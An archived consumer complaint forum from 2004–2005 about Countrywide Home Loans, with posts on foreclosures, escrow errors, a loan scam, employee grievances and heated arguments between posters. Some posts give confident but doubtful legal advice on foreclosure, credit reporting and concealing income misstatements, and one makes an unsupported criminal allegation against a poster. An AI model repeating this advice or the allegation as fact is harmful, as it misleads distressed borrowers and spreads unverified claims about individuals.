I HAVE BEEN AN EMPLOYEE FOR YEARS AT COUNTRYWIDE. COMING FROM THE INSIDE, I'M QUITE CERTAIN THAT THE ONLY PEOPLE WHO WILL BE IN THAT SITE WILL BE THE MANAGERS KISSING MOZILO'S ASS SO THEY CAN KEEP THEIR $30,000 A MONTH PAYCHECK.

THERE AREN'T TOO MANY DISGRUNTLED EMPLOYEES IN THIS STATE YET BECAUSE THEY HAD JUST OPENED UP THE CALL CENTER HERE. WAIT AND SEE!!!!

IF YOU HAVE MORTGAGE EXPERIENCE, I WILL NOT RECOMMEND COUNTRYWIDE. YOU'LL JUST GET FIRED FOR QUESTIONING THEIR VIOLATIONS OF ETHICS AND COMPLIANCE GUIDELINES. THE LESS YOU KNOW, THE BETTER OFF YOU ARE.

I JUST GO TO WORK EVERYDAY, AND PRETEND TO "SEE NO EVIL, HEAR NO EVIL". IT'S SAD, BUT I KNOW I'LL BE OUT OF HERE SOON.

CALLING ALL USED CAR SALES PEOPLE!!! WE ARE HIRING AT COUNTRYWIDE!!!!


Left: October 06, 2005 By: In:

I'm sure you could start a "Countrywide Home Loans Are Great" website. I think you are just a little instigator who enjoys going this forum for a "satisfaction".


Left: October 06, 2005 By: Michael In: Chicago

As I have stated, I no longer work in the mortgage industry. I have posted my email and will give out my phone number to those who request it for legit reasons. I don't have time to deal with people who would call simply to harass me. If you have a legit issue, email me and I'll reply in kind. Sorry if that's not the answer you were looking for. I do not have time to field harassing phone calls. If anyone obtains my number and subsiquently passes it out without my knowledge or consent I will contact the proper authorities. To those who are in need of advice, feel free to contact me via email. I will help to the best of my ability.


Left: October 05, 2005 By: In:

Mike, if you can help so much why not post a phone number so we can speak with you PERSONALLY. That way no one will be bale to say that you work for Countrywide or have any affiliation with them. It would only build your credibility MIKE


Left: September 20, 2005 By: An observer In: Atlanta, GA

I don't know about all the name calling, etc. but one thing is certain. Something bad has happened to Countrywide in Atlanta and there won't be an end until it's destroyed. Someone hired people to run this part of the company that either have no interest in the company or just simply aren't qualified to run a company. There is no profit being made and everyone is unhappy -- customers and employees. Seems like a recipe for disaster. Sit back and watch it fall. Maybe a year, maybe not that long. They'll be gone, someone new will be along or they can close down Atlanta altogether. I don't think Atlanta would be missed by the rest of Countrywide.



Left: August 31, 2005 By: Michael In: Chicago

Rock on David! You are a perfect example of what happens when you follow the proper channels what can be acomplished. For any sceptics out there, I do know what I'm talking about and can help if you're willing to listen. David did what I suggested and put himself in position to keep his home. Contacting government agencies is imperative when you aren't at fault. Even if you have missed payments, your State's Attorney can assist if you are getting no response from your lender.


Left: August 30, 2005 By: David In:

Hi Michael,

I was able to get my loan modified with countrywide, after calling the states attys office and working with a litigator.
Anyhow, thanks for all your help and your site.

Countrywide still sucks though!!!!
david


Left: August 23, 2005 By: In:

First off, they cannot legally report you late after 1 day. If that's the case, document it and contact the FBI and the FTC. Secod of all, all lenders will put you into pre-forclosure after 60 days of not paying and, most importantly, not communicating. You need to talk to your lender if you are going to have problems making your payments. Don't dodge the calls, confront them. Also, you can send them a letter stating that you do not want to be contacted unless they are taking legal action against you. Send it certified mail and copy the Office of Banks and Real Estate. They have to comply with your wishes, it's part of the Fair Debt Collection Act. Finally, I don't mean to sound like an ass, but you have to keep up on your payments. If you fall on hard times you need to contact them and work out a hardship. They can and will work with you. Believe me, it costs them MUCH more to foreclose on your home than you think. Many times they don't even get what you owe when they sell the property. It's not as simple of a process as you may think. Sometimes it can take up to 2 years for a foreclosure to make it through the courts, especially in the city of Chicago. I've seen homeowners sitting in a property they haven't made a payment on in 18 months (looking to refi by the way). As I've said before, the most important bill you have is your mortgage. That's your home. Without a home you have nothing. Your credit cards mean nothing if you don't have an address. You should think: House, car(if you need it to get to work),utilities & food, credit cards. In that order.


Left: August 23, 2005 By: Amy In: alton

You talk about a nightmare. We have been with Countrywide for 5 years and in that time our house has been in foreclosure 2 times. First off if payment is not recieved by the first of the month they report your payment as 30 days late. On the 5th of the month expect the phone calls to start by them. If you get 2 months behind on payments it automatically goes into foreclosure and you will not be notified until the police officer comes to your door and serves you notice. During that time frame payments have been caught up and you think your ok, but then countrywide sends your payments back to you 60 plus days later and sticks you with all sorts of fees. The first time this happened it cost us an extra $2400 in fees plus 3 house payments since they sent them back to us. Another thing if you have a question or problem with them expect to be on the phone with 10 different people for 2 hours explaining to those 10 different people your question before finding the one person that sounds like they know what their talking about. If you talk to 3 different people with the same questions expect to get 3 different answers. The second time in foreclosure was all their fault and other than the time and we are talking hours and headaches they did own up to it and did not charge us the fees but it stills reports on our credit 90 days late we have called numerous times to get that taken off, but then again you have to explain yourself and the situation to 10 different people until they say oh I see it, we're sorry we'll have that taken care of. And it is still on our credit a year later. My biggest complaint is that their customer service is horrible, worse than horrible a nightmare.


Left: August 19, 2005 By: Michael In: Chicago

Thanks, Jack.


Left: August 19, 2005 By: Jack In: Chicago

Michael sure knows his stuff.


Left: August 13, 2005 By: Rebecca In: Milwaukee

I agree with Michael when he reminds you all to take responsibility for your own actions. You need to be on top of your own game, responsible in caring for your own credit and financial health, and care enough about yourself to never bite off more than you can chew financially. And don't ever finance with a lender you don't know you can trust. Meet your lender. Ask lots of questions. And make intelligent, well-informed complaints, if you're going to. If you want to talk to someone you know isn't going to screw you over, and actually wants to inform you, write me @ rebeccamara@gmail.com, or call me at 414-640-2182.
I've met many very shady lenders, and many very honest ones. It usually has a lot more to do with the person representing Countrywide than Countrywide itself.


Left: August 09, 2005 By: Michael In: Chicago

The Office of Banks and Real Estate. You can get there through the State of Illinois web site.


Left: August 09, 2005 By: Ellen In: Rockford

Who is the ORBE?


Left: August 04, 2005 By: Michael In: Chicago

Ellen-

First and foremost, you need to contact an attorney if you are getting nowhere with them. Your home is #1. You said they appied your down payment wrong. Was this the loan you aquired to purchase your home? If so, your down payment goes to the seller, not the mortgage company. Your loan officer should have explained how a purchase works dduring your loan process. You also said Countrywide wasn't your origional lender. Who held your mortgage first? You need to look at the paperwork from your closing to determine what happened. If your loan was not a purchase there is no down payment. If you gave money up front you need to find out how that was applied and to whom it went to. Your HUD-1 settelment statement should account for this. If it does not, you need to contact the states attorney and the OBRE and notify them immediately.


Left: August 04, 2005 By: Ellen In: Rockford

I have a home loan with countywide right now and they have screwed up the loan so much. They have us in forclosure right now. My husband got laid off from his job this past winter and we got behind by a couple of months. Countrywide put us on a repayment plan then applied our down payment wrong. Now due to their error they have put us into forclosure. They have given the case over to their workout dept. but keep telling me they only have 70 people in the department and will get to us as soon as they can. I haven't heard from them in over two weeks. They won't even acknowledge that it was their fault. That isn't quit right a couple of them have told me it was their fault at the beginning. Now they won't say one way or the other. Now we have people coming by all the time taking pictures. They even paid the taxes we owe on our house. They keep telling me that we are not going to loose our house but they are moving very fast on this. We did not pick them to be our morgage company. They bought our morgage from our original company. I have other friends who are having problems with them as well. Thank you for this web site. I thought we were basically alone in this. I have not talked to a lawyer yet but I will if they don't staighten this out.


Left: August 01, 2005 By: Michael In: Chicago

David-

Feel free to email me directly if you need any further assistance:

michael_harman1976@yahoo.com


Michael


Left: July 31, 2005 By: David In: New Lenox

Michael,

I will keep in touch, Im talking to the states attorney early this week, to see what my next step, if any is.

Thanks again,

David


Left: July 28, 2005 By: Michael In: Chicago

David-

I would contact the states attorney immediately and find an attorney as soon as possible. Being that these guys were out of stat, you should contact the Chicago office of the FBI as well. By conducting business over state lines they may have violated some more federal statutes. Good luck and let me know if I can be of any more assistance.

Michael


Left: July 27, 2005 By: David In: New Lenox

Michael,
It was First Residential mortgage, in kentucky I believe. Everything was done via mail, and then i met some guy to sign papers.
Thanks for the help. I will contact the states attorney and see what and where I should go from their. Should I have an attorney before I see the states attorney or just talk to the states attorney first.

Again thanks,
David


Left: July 27, 2005 By: Michael In: C

If you think Countrywide is bad, take a look at this website and read about the REALLY bad ones!
http://www.mortgagereform.org/




Left: July 27, 2005 By: Michael In: Chicago

David-

It would probably be a good idea to contact the Illinois States Attorney as soon as possible. What county was the originator in? Also, what company was it? You have more rights than you think and if you have an attorney you would be wise to have him send a letter to the office of the president stating your case. Good luck.


Left: July 26, 2005 By: David In: New Lenox

Thanks michael, I guess thats what i should do, go after the originator of the mortgage and the broker. I just hope its not too late. My foreclosure sale date is coming up....but I will talk to attorney.
You right I am frustrated, and I am sorry. I thought you misunderstood what I was saying about them stateing a different income to approve the loan and get their commision.
Thanks, Appreciate it....any other advice would be appreciated...........thanks again and Im sorry again


Left: July 26, 2005 By: Michael In: Chicago

BTW, the branch operations manager was a woman.


Left: July 26, 2005 By: Michael In: Chicago

In speaking with some of my contacts at CHL and the Oak Brook, IL police department, I have learned that out July 18 former employee poster isn't quite as "good" of an employee as he lets on. Turns out he was charged with battery for physically assulting a branch operations manager. I wonder why people like to blame others for their shortcomings and poor decisions? Funny.


Left: July 26, 2005 By: Michael In: Chicago

I've been reading alot of entries saying "write into your contract that CW never buys your loan." This is next to impossible. Loans are sold on the open market in bulk. This means 10, 100, 1000 loans are packaged together and sold to investors. Your loan may not be sold to CW, but to another lender and guess who services the loan....Countrywide. While I worked there I had the pleasure of dealing with many borrowers who were being sub-serviced by CHL. This is a common practice. If you live in a smaller area or have the ability and qualify to go with a smaller bank who services their own paper, go that route. They very rarely sell servicing rights. There's a form in every closing package called the Loan Servicing Disclosure. It has little boxes near the bottom that say "We sell..0-25%...26-50%...51-75%...76-100% of our loans." If any other box but the 0-25% box is checked your loan WILL be sold and probably very quickly, before your first payment is even due. You have to read every document and ask questions. When I closed a loan, they always took at least 1 hour. I always encouraged my borrowers to ask questions and if they did not feel comfortable with any of the terms or figures I told them not to sign. Always remember you CAN back out of a loan secured by your primary residence within 3 business days of closing. DO IT if you feel uneasy about anything!!!!!


Left: July 26, 2005 By: Michael In: Chicago

Maybe you should read what I wrote instead of calling me names. I understand that you are frustrated and angry. You should be. You should also be talking to an attorney and suing the Broker that falsley stated your income on the loan application on which the mortgage company prior to CW based their decision. As I said, from what you are saying Countrywide didn't originate your loan, they bought the servicing. You need to go after the original lender and the broker. As I said, read what you are signing. If you don't feel comfortable with it don't sign it! If you do for some reason sign the paperwork, you do have 3 business days to back out. Cover your own ass upfront. Plain and simple. Also, GO AFTER THE BROKER AND THE ORIGINAL LENDER! You may be able to get your mortgage forgiven!


Left: July 25, 2005 By: David In: New Lenox

they stated the wrong income....i did not....maybe you should read what I wrote better....jack ass



Left: July 25, 2005 By: David In: New Lenox

hey michael....
I did not state my income as higher to het approved.....the loan officer did.
He did it without my knowledge.
he told me that he would get me approved .
I didnt need his help. I told the truth and stated the correct amount that i made. i even gave him w2s.

I noticed it after countrywide started forclosure proceedings. they told me too bad too sad.
yeah your right i should have look at the pre stuff better...but i didnt
But they should be responsible for their freud....not me. im losing my home because of some jagoff who only cared about his commision.
He broke the law not me...im the victim here.
now im tryimng everything i can to save my home.
I qualified with all kinds of bills. now i dont have any bills other than a 10% mortgage that i cannot get out of foreclosure,
I want to save ny familys home....so if you have any sound advice...then give it....otherwise,,,F. off.


Left: July 25, 2005 By: Michael In: Chicago

I'm going to post this in every state listed here. YOU MUST TAKE RESPONSIBILITY FOR YOUR OWN ACTIONS AND DECISIONS!! I have recently left the lending industry. I can site many reasons for this, however the top reason has to be dealing with borrowers and potential borrowers who had no concept of financial responsibility. Just because you have a 700 credit score does not mean you demonstrate good use of credit or that you are guaranteed the rate or terms you want. In fact, many people who have the best credit scores carry the most debt. What you people do not understand is that the lending institutions want you to carry debt, so if you carry alot of debt and pay it on time your score will be higher than someone who pays their bills OFF every month and only carries a mortgage and a car loan/lease. If you fall on hard times, pay your damn mortgage and let the friggin' Visa's go delinquent. Visa isn't going to take your house, your mortgage company is. People jump to quickly to file BK. Guess what, ole' GW has made that next to impossible for the average American. You're better off making arrangements with your credit card companies and paying your mortgage off as quickly as possible. Use good judgement, not the "I want it now!" mentality. Buy a Trailblazer instead of the RangeRover or the Hummer or the Lincol or Caddy or whatever. How many of you people that post on here have kids? What kind of behavior do you think your actions teaches them? Anyone who would voice their opinion is more than welcome to email me at michael_harman1976@yahoo.com. I would be more than happy to help anyone who needs some good advice on how to get themselves into a good financial position. I am not selling anything, I'm a former CW employee who feels an obligation to help those who have been taken advantage of.

Michael


Left: July 24, 2005 By: Michael In: Chicago

You do have legal recourse against the mortgage company that originated your mortgage. Countrywide is servicing your loan. They did not charge you 10%. That was the scam artist that refi'd you. That is exactly why knowing what you are signing is the most important part of the process. In fact, that you knew and willingly participated in the fraud makes you also legally liable. Never tell a mortgage company servicing your loan that you stated your income higher than it actually was. That makes you a thief in the eyes of the law. That's federal wire fraud, bank fraud and mail fraud. Pretty serious jail time. By you admitting that, it gives CW the legal right to audit your file and take your home without going through the forcloseure process because you and the mortgage broker committed at least 3 counts of fraud. Educate yourself as to who you are dealing with before you sign your life away and if you DO sign and feel uneasy in any way, RECIND YOUR LOAN!!!!! You have that right. Bottom line is, you didn't make your payments and defaulted on your loan agreement. That's nobody's fault but your own. Next time be smarter about who you deal with up front and you'll cover your own ass on the back end. Also, read my entry from a couple of weeks ago. I explain how to cover your tracks on your dealings with the mortgage company. It takes a bit more time initially, but it will save you tons of heartache down the road.


Left: July 24, 2005 By: David In: New Lenox

Hi, I agrre that Countrywide totally sucks.
I refinanced my home in 2003 with another mort. company, then it was sold to countrywide. I was sold a mortgae that was a stated income mortgage and they stated my wrong income to get me approved. This is illegal. Well anyhow, after it was sold to countrywide, i fell behind on payments. I told counrrywide what freud was committed and they are to foreclose on me now. When i qualified for my mortgage, i had a bunch of credit debt. since then i have cleaned up all the debt and they are telling me that they cannot refinance me or modify my mortgage because i dont make enough. I do make enough and i have no other bills than the mortgage.
they are chat=rging me close to 10%apr.
you think they would refinance me to keep a customer???
shit no.
They are foreclosing on me.
I would not recommend countrywide to anyone.
I had them before...they sucked then and they suck now.
Their customer service people are morons.

I hope they all roast in hell one day.



Left: July 18, 2005 By: In: Chicago

I am a former Employee for Countrywide as of last week. I have moved to a better mortgage company that has some type of managment that cares about their employees.
I took a transfer with Countrywide in March 2005. I was to be doing a training position for them when 3 new offices were opened. Needless to say that didnt happen. I then was stuck in an office out in God knows where, I think it is called OakBrook. I was put in an office and was told to be the expert on all of the loan programs because every loan officer in that area was new to Countrywide and I had 3 years of experience. I was told that I would get basis points on their commission, which to this day I have still not seen. I was then asked if I would be interested in being a PA for one of the top producers in Chicago. I moved over with them the 3rd week in April. They were let go from Countrywide The third week in June. So, I was put on a leave of absence. I was officially employeed there until last week. They called me and said they had a job for me. They must be crazy. As of today, I have still not received any of my commission pay for the last two weeks in April, the whole month of May and for three weeks in June.
They will do everything they can do to hold on to my commission that is due to me. Is this legal? I will never recommend Countrywide to anyone. I have found a home that actually has managers which in the office I was located did not physically exist. I am ashamed of the way I was treated as a very good employee and I will never recommend their services or employment to anyone.


Left: July 12, 2005 By: Michael In: Chicago

Also, I think it's funny this guy has a link for a mortgage broker under investigation for fraud in the state of Illinois posted on his website. Way to help out the downtrodden.


Left: July 12, 2005 By: Michael In: Chicago

As a former Countrywide employee, I have seen where alot of you are coming from. Yes, CHL has some issues. However, as a consumer, you should protect yourself by keeping track of ALL of your coorespondance with CHL, as well as ALL of you other creditors. If you have a solid paper trail and check your credit twice a year, you can identify issues before it gets to the point of forcloseure. Also, ask for a payment history every now and then. If you establish a track record of randomly asking for payment histories they will have very few opportunities to "lose" payments. Also, if you can avoid it, DON'T ESCROW!!!!!! This is the #1 place ALL lenders mess up. If you take care of your own taxes and insurance the lender won't' have the opportunity to not pay your insurance or taxes on time. Take the initiative and responsibility on yourself, then they won't have the "loopholes" they use to start forecloseure proceedings. Many of you haven't had experience with many other lenders and loan servicing companies. Believe me there are MANY out there much worse than Countrywide. I'm not saying they are in the right. I've seen situations where they have bought paper from other lenders where the previous lender didn't send over a proper pay history (missing a payment or 2). It seems, from reading many of the entries here, that this same thing may have happened. Cover your own rear and nobody can take what's yours. If they try you can take some from them!!!


Left: July 01, 2005 By: Karen In: Plainfield IL

Recently in Plainfield we were hit with a big hail storm that did serious damage to our home. After having our home owners insurance company come out to estimate the damage to out home, it was estimated at about $13,000.00. The check is made out to you and your Mortgage Company. So we called up Countrywide to find out what the process is for endorsement. They said we have to send the check to Simi Valley California to be endorsed. And send a return envelope to have the check returned to you. So I did just that. I sent it directly to the property claims deptartment to be endorsed and sent a priority mail envelope to be returned back to me ASAP. I looked online to see that they had received it the day after. Cool, just endorse it and send it out to me now. I called 3 days later to ask when it was sent out and they said it has not been looked at yet and takes 3 days to generate through their office. OK, its been 3 days! So they said tomorrow it will be sent out. So the next day I called back to see if it was sent out and some jerk Fernando said it is still here with no endorsement yet. So I got a little rude and said how long does something this simple take! He said real smug " I will personally take care of this for you". I asked for the supervisors name and hung up. 3 days later comes the check in the mail and low and behold it is NOT endorsed! My god are these people on drugs or what? I cannot beleive someone would do this!! After having contractors wait to get paid for fixing my roof and siding, I have no money to pay them yet! So I called their office again and talked to another idiot about this and they tell me to sent it back again!! NO WAY!! I demanded to go to the local office for endorsment! They laughed in the local office in Plainfield and thought it was soooo funny!!! Guess what you moron, YOUR COMPANY SUCKS JUST LIKE ALL OF THE EMPLOYEES!! So I go to the bank and deposit the check. I write out the checks to the contractors for their work done and BAM! 2 days later the bank calls and says their is something wrong with the endorsement!!! UNBELEIVEABLE! I call CW and they are not returning my calls! No one can give me a straight answer. These people are totally unprofessional and incompetent. They will be hearing from me!!! I will never recomend CW to anyone!! And look out I just got my license to to become a Realtor!!


Left: May 19, 2005 By: Last Laugh On Country-Wide In:

Thank you so much for this website. Our realtor recommended Countrywide so strongly that we went to them for our mortgage. If you think Countrywide is bad, try going to a realtor who works hand-in-hand with Countrywide. Countrywide gave us an interest rate upon which we based our offer. As soon as the offer was accepted, Countrywide upped the interest rate so much that we knew we could no longer afford the house, but we had signed an offer to purchase that allowed that rate of interest (on the advice of Countrywide, who said it didn't really mean we would ever have to pay that higher rate, it was just something to put on the offer). So, we went to a bank, and they offered us a much lower rate. The bank called the realtor to start the loan process. The realtor turned around and called Countrywide, who then called us, to offer us a much, much better rate. Okay. But then, Countrywide wouldn't move. Not even an application to start the loan process. Each time I called they tap-danced about computers and "in the system," etc. We had no application, no written estimate, nothing. Twelve days before closing I called our local bank in a panic. They were able to do the loan at that interest rate and cut Countrywide out completely. They said if we had waited a couple more days it would have been too late. We believe that Countrywide was holding out until we had no other options before they would give us a loan, and the terms of it would have been at their pleasure.
THEN, we found out our realtor had not disclosed an encroachment. This alone could have been a deal-breaker, but we wanted the property so we worked out a deal with the man who owned the property on whom we were encroaching. We also got an attorney, and asked him to take over the closing, which we had been planning to do at the realtor's office. WELLLLLL---Here it gets fun. Countrywide and our realtor had worked into the purchase all sorts of "creative financing," so that we, the buyers, would be credited with approximately $3,500 at the closing, which would have been at the realtor's office, where we wouldn't have known what the hell he was doing with the money. But our lawyer and our bank did exactly that; they credited us with the $3,500. In fact, they ran out of places to credit us, so the seller ended up writing us a personal check for the balance. Our realtor was shocked when he found this out at closing. We had to stay an hour while everyone in his office and the lawyer's office looked for money, calculators clicking, pages flying. The realtor went outside and talked on his cell phone. We overhead him shout, "Well then we're screwed!" I kid you not! At another point in this comedy our lawyer asked him, "Well, where's the earnest money? I don't have it. Do you have it?" And the realtor said, distractedly, "Well yes, I have it, butÖ." and went back to playing with his calculator.
The way it finally turned out for us was beautiful. The seller actually ended up paying for part of our down payment, but it didn't cost him anything because Countrywide had him raise the asking price in order to credit us, in order to be able to get their thousands at closing. We paid NO FEES whatsoever, and walked away with a small check to the good. The seller paid a very low commission to the realtor (because the realtor quoted him a small commission, apparently because he, the realtor, was going to get a cut of the "creative financing" done by Countrywide at closing.) Watching this comedy of errors was truly enjoyable; however, it followed a month of anxiety and fear. I don't recommend Countrywide to anyone. And if your realtor recommends them, please be warned.



Left: May 04, 2005 By: Bob In: Frankfort

When ypur escrow account runs short the reason is because your taxes and or insurance went up. Your payment is set for the life of the loan. The PVA raises the assesed value of your home or your insurance goes up or both. Then when the next years payments are set you are short in the escrow... They do know what they are doing, that is why they notified you of the current shortage. I understand your frustration. The same thing happened to me. But when the tax bill goes up all they can do is raise your payment. My first mortgage the taxes and insurance were paid by me seperately. That way my payment stayed the same. I just had to pay the amount of the tax and ins when they were due. This is what the Mtg co does for you. They pay the increase out of their pocket and then bill you for it, That is why they want their money. I hope this clears this up for someone.


Left: April 26, 2005 By: In:

If you were going to lose your home you should have declared bankruptcy. You would have at least been able to keep your home.

And I agree. If your husband had a valid reason for being out of work, the are government programs that can help.

Sounds like you should blame yourself and stupidity.


Left: April 25, 2005 By: In:

If your husband lost his job, why didn't you tap into your savings, 401K, or IRA? That should have held you over for the few months that your husband was out of work while he found a new job.

What's that? You were/are financially irresponsible and had none of those things? Well then you deserve what you get. You must have been seriously delinquent on your mortgage to have your home taken, 5 plus months with no payments at the very least. Why anyone would be out of work for that long is beyond me.

To everyone out there, if you live paycheck to paycheck with nothing to spare, maybe it's not the right time for you to own a home. Try having a savings account, and put some money away for yourself for emergency situations.


Left: April 21, 2005 By: Marie In: Joliet

First off let me tell you anyone who is unlucky enough to have Countrywide Home Loans as thier mortgage company PLEASE TRY AND REFINANCE AS FAST AS YOU CAN.

Second, today I just lost my home that I have lived in for 10 years. My trouble all began 2 years ago when my husband lost his job. I fell behind on payments and tried desperately to save my home. I continuely called Countrywide asking for help. I asked to take the missed payments and place at the end of the loan. The only option I was given was to foreclose, short sale or a workout agreement. Of course I asked for the special workout agreement. Countrywide DID approve me for the workout agreement however my payments became so high due to interest, late fees, attorney fees, etc there was no way I would be able to make the payments and still pay my car payments, utility bills, and the very small credit cards I had and still provide food on the table. In short I was forced to do a short sale and walk away from my home today with nothing. Of course there may of been other options that Countrywide could of provided to me but were unwilling to help me in any way. My husband did find another job very quickly but did not make nearly what he brought home before. Today he is making more money than he did 2 years ago but there was no other way out of this mess. I tried and failed with all governement agencies whom are there to help out homeowners.

I tried to re-finace a long time ago but only to find out that I was given a loan for almost $40,000 more than the home was actually worth. SO also beware of all of financial institutions out there who make the picture look so rosey if you refinance because they will rip off a homeowner by hiring an appraiser who obviously apprasied my home for way more than it was actually worth.

Today, I am in a rental home with my credit basically ruined as well as my husband's and have told that it will take at least 3 years before another lender will even finance us for another home of our own.

I learned so much from this mess. For instance live as if you are only able to provide for your family with one paycheck. Because if you or your significant other unfortunately looses thier job you may find yourself in my shoes.

Who do I blame? I blame Countrywide. It is a shame that I was basically forced to sell my house or else threatened to foreclose. 10 years I lived there. What a dirty rotten shame.


Left: April 15, 2005 By: Ray In: Chicago

I also wanted to respond to the Feb 28, 2005 post lauding Countrywide as being a great place to work. Sorry, but this isn't about their employment practices, but about the ineptitude of this company and their inability to accept responsibility for their errors. If screwing up one's account and credit rating, especially when their credit rating was great prior to being with Countrywide is what you would call "dreams come true", you definitely are naive.

Countrywide does SUCK!!! I only wish that we were never transfered from Ameriquest or Washington Mutual. We never had a problem with any mortgage company, not even a late payment, until Countrywide didn't accept our September, 2004 payment (because an account wasn't set up by them), misapplied someone elses payments to us in December of 2004, and added a bunch of late fees due to these mistakes. Countrywide is definitely the worst company to deal with and I can only pray that God almighty will put them out of business.


Left: April 15, 2005 By: Ray In: Chicago

Yes, the bozo who stated that we are a bunch of "losers" is probably some sad sack who works for this unethical company. We have never been late with a payment with any of the other mortgage companies we had. When our loan was sold to Countrywide they had misapplied funds to our loan to the tune of $3400. I feel sorry for the bloke who is now fighting with them regarding this. They have manhandled our account since we were forced to go with them in September,2004 and now and misapplied our payments to someone else. So, the Countrywide bozo who claims that no one has a credit score above 600 is full of crap. I had impeccable credit until Countrywide decided to screw things up. What I would suggest to everyone is to get a good lawyer and if one cannot be found to take your case, look into class action lawsuit. It's time folks make Countrywide pay for their unethical practices and irresponsibilities.


Left: April 05, 2005 By: In: Chicago, IL

In a recent comment the person said that Countrywide does not harrass you until you are 60 days late is bull! They start calling me after the 1st of the month for payment when my payment is not late until the 16th. They are rude and uneducated. Don't do bussiness with the company! The person that posted that comment is obviously working for the company.


Left: March 14, 2005 By: In:

This site is sadly filled with a group of a losers who cannot demonstrate the ability to repay a loan. I bet anyone complaining on this website does not have a credit score above 600 (and I am being generous)! Those documents that you sign at closing means you agree to repay the loan ON TIME! The "harrassing" phone calls that everyone on this website is complaining about are not coincidental. They are for people who are at least 60 days late with a mortgage payment. This group of sad bastards needs to find reality and grow up. Take control of your finances and clean up your act. You people are just not well adjusted and probably should not be borrowing more than you intend to pay back. This is the real problem with 99% of the people on this site.


Left: March 10, 2005 By: In: Chicago Illinois

My husband worked in the Schaumburg office with "ED" . I really don't know how Countrywide decides who to put in "manager" positions but from the stories my husband and many many of his co-workers told, they might as well have put a 10 year old brat in the position. He was/is immature, totally unprofessional, and downright mean-spirited. I hope someday, when Ed grows up, he will look back and realize being a jerk does not make you important. It just makes you a jerk. If I were his boss Archie, I would take a closer look. Ed thinks he is pulling the wool over Archie's eyes. He is making you look like a fool Archie. Pay attention, you will learn many ugly things about Ed.


Left: March 09, 2005 By: C Calvin In: Chicago

I have been with CW for 8 years and I can tell you I have received many threatening letters from CW about loosing my home. By the grace of God I found way to get out of my troubles. One thing is to admit that your payments are wacked. Be honest. There is no way you'd have all these problems if you paid your mortgage on time each month. If you're saying you couldn't get a loan because of 30 days late for a year, that's a lie. Many lenders will refinance you with rolling 30's and give you a good rate. You need to look at the fine print. If you have an FHA loan there are many ways to save your home that CW won't tell you on the phone, which is the one things I can say dissapoints me about them. Look at the letters they send you, don't ignore them and ask them for help before it gets really bad. They have many programs in place to help save your home. I have used more then 10 in the last 3 years due to financial diffilculties and eventhough I had to initiate the help they were proficient in getting me what I needed to save my home. If you are in trouble the first answer is prayer and knowledge. People parish without both. I will be praying for every struggling homeowner that God reveals the knowledge to you He gave to me.

God Bless


Left: February 28, 2005 By: In:

Below is a copy of an email sent to the owner aka whiner of this website on Feb 27, 2005 7:54 PM, CST



Hello,



Countrywide is voted the best of the best places to work. Countrywide is also the number one servicer and lender. Countrywide makes dreams come true to those that work hard and understand what it is to be financially responsible.



No matter how many web sites you put up, no mattter how much you whine, you will get no where. Countrywide continues to be number one and you will not be able to do nothing about it. Individuals like you never prosper!



Loving Countrywide,

Anomyous Like yourself.



P.S. If you really supported this site you would not hide from who you really are. At least state your name coward!




Left: February 05, 2005 By: Smart guy In: United States city

Mary Robertson, I think you have addressed your complaint to the wrong area. It sounds like someone was pretending to be Countrywide and scammed you. I dont see how this was the real Countrywide's fault or what Countrywide was supposed to do about it. If you have bad credit and someone was going to deposit 100,000 in your bank account, and you believed it, you are an idiot and probably will be scammed again for being that dumb.


Left: December 12, 2004 By: Mary Robertson In: East Alton

Yes im another one ripped off by countrywide finacial they faxed paper work and everything i signed the paper work they had me send a down payment of 2500.00 to a money gram and they promised me a loan of 100,000 to be put in my bank in 12 to 72 hours i found out these jokers are working out of canada were the bbb cant touch them out of california . My family wont have a Christmas this year because of them and countrywide stated to me that they new they were using their company address out of california but they were not countrywide i blame countrywide for this problem specialy if they knew this was going on they should had hung a red flag out or warned me. that this was all a skam i was told they are having alot of problems in british columbia Canada of skams.i hope this will stop someone ulse from being hurt. they go for people with bad credit that cant get a home on their own then they involved the government will guarantee them back 80 percent of there loan back if there is a default. be careful of these skams.


Left: December 12, 2004 By: Mary Robertson In: East Alton

Yes im another one ripped off by countrywide finacial they faxed paper work and everything i signed the paper work they had me send a down payment of 2500.00 to a money gram and they promised me a loan of 100,000 to be put in my bank in 12 to 72 hours i found out these jokers are working out of canada were the bbb cant touch them out of california . My family wont have a Christmas this year because of them and countrywide stated to me that they new they were using their company address out of california but they were not countrywide i blame countrywide for this problem specialy if they knew this was going on they should had hung a red flag out or warned me. that this was all a skam i was told they are having alot of problems in british columbia Canada of skams.i hope this will stop someone ulse from being hurt. they go for people with bad credit that cant get a home on their own then they involved the government will guarantee them back 80 percent of there loan back if there is a default. be careful of these skams.


Left: November 10, 2004 By: Just Another Chump of CW In: Chicago, Illinois

If you think for one minute we are going to say something good your wrong. CW is the bigest rip off comp. I've ever heard of. We have refinanced twice to get away from them & twice they bought us back,but wait they have also lied and said we were 12 times 30 days late on our payments so we couldn't get credit anywhere else. They have screwed up on us more than twice, we send them our payment & they dispurse it to where it should go, then they have the balls to tell us we short in escroll or short in taxes, or short in insurance,and ask us why? then tell us we have to make a double payment to get caught up, com on, they're are suppose to know what they are doing, that's what they get paid for.You tell me where is the justice in this?How do you get away from this evil and preditory lender? They find any way they can to get anything they can soak you for!!! Is there nothing that can be done about this company? At the beginning of this site there is a WARNING & a letter from a CW bumpkin saying that the writers of these letters are idiots and don't know how a lender works.But all of us who are writing know how CW works, we're all given examples.If you think for a minute they don't want your house, just have a problem, they don't wait until tomorrow,they send you a thretening letter yesterday to take your house.


Left: November 09, 2004 By: Don't Worry In: Nunya

You can't do anything. Since you own nothing. But don't let this site nother you. Read what some of these idiots are saying. Do yourself a favor...if you are truly concerned, check with the Better Business Bureau, the Federal Trade Commission and see what the complaints agaisnt CW are regarding. These are extreme and ridiculous examples from people who are either too stupid to realize how a mortgage works or are omitting other information as to why things have gotten sour between them and their lender.


Left: October 29, 2004 By: KIM CLEMONS In: MOUNT VERNON ILLINOIS

I JUST GOT A LETTER IN THE MAIL ABOUT THE FACT THAT COUNTRYWIDE JUST BOUGHT MY LOAN FROM THE COMPANY THAT I REFINANCED MY HOME WITH & AFTER READING THIS I DONT WANT THEM TO HAVE IT! BUT WHAT CAN I DO? THANKS KIM CLEMONS K_Clemons@msn.com

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